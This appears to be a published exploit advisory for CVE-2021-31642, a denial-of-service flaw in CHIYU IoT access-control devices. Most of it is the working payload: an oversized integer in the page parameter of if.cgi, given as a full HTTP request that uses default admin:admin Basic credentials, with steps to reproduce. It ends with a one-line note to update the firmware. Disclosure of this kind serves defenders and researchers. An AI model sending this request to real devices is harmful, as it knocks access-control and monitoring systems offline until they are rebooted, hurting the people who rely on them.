# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS) # Date: 01/06/2021 # Exploit Author: sirpedrotavares # Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html # Software Link: https://www.chiyu-tech.com/category-hardware.html # Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC - all firmware versions < June 2021 # Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC # CVE: CVE-2021-31642 # Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device. CVE ID: CVE-2021-31642 CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642 Affected parameter: page=Component: if.cgi Payload: if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000 ====HTTP request====== GET /if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= Connection: close Referer: http://127.0.0.1/AccLog.htm Cookie: fresh= Upgrade-Insecure-Requests: 1 Steps to reproduce: 1. Navigate to the vulnerable device 2. Make a GET request to the CGI component (if.cgi) 3. Append the payload at the end of the vulnerable parameter (page) 4. Submit the request and observe payload execution Mitigation: The latest version of the CHIYU firmware should be installed to mitigate this vulnerability.